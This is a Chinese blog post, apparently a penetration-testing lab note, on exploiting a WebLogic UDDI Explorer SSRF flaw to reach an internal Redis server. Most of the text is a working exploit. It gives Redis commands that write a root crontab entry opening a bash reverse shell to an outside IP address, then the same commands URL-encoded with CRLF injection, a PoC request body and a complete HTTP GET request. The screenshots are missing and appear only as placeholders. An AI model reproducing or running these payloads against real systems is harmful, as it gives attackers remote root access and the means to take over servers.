web-logic-ssrf内网渗透

18849911

已于 2023-02-01 23:19:31 修改

阅读量333

点赞数

分类专栏：渗透测试文章标签：服务器

于 2022-11-03 21:43:47 首次发布

本文链接：https://blog.csdn.net/qq_40168905/article/details/127678777

版权

渗透测试专栏收录该内容

8 篇文章 1 订阅

订阅专栏

打开浏览页面

![在这里插入图片描述](https://img-blog.csdnimg.cn/fbc818d
268494e2d802db62cf5a6f886.png)

burpsuite截获数据

在这里插入图片描述

redis指令URL编码

set 1 “\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘sh -i >& /dev/tcp/192.168.20.228/4444 0>&1’\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save

在这里插入图片描述

增加换行编码：换行符是“\r\n”，也就是“%0D%0A

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.17%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

poc数据

operator=http://192.168.20.195:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.228%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=dd&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

在这里插入图片描述

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.20.195:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.228%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1

在这里插入图片描述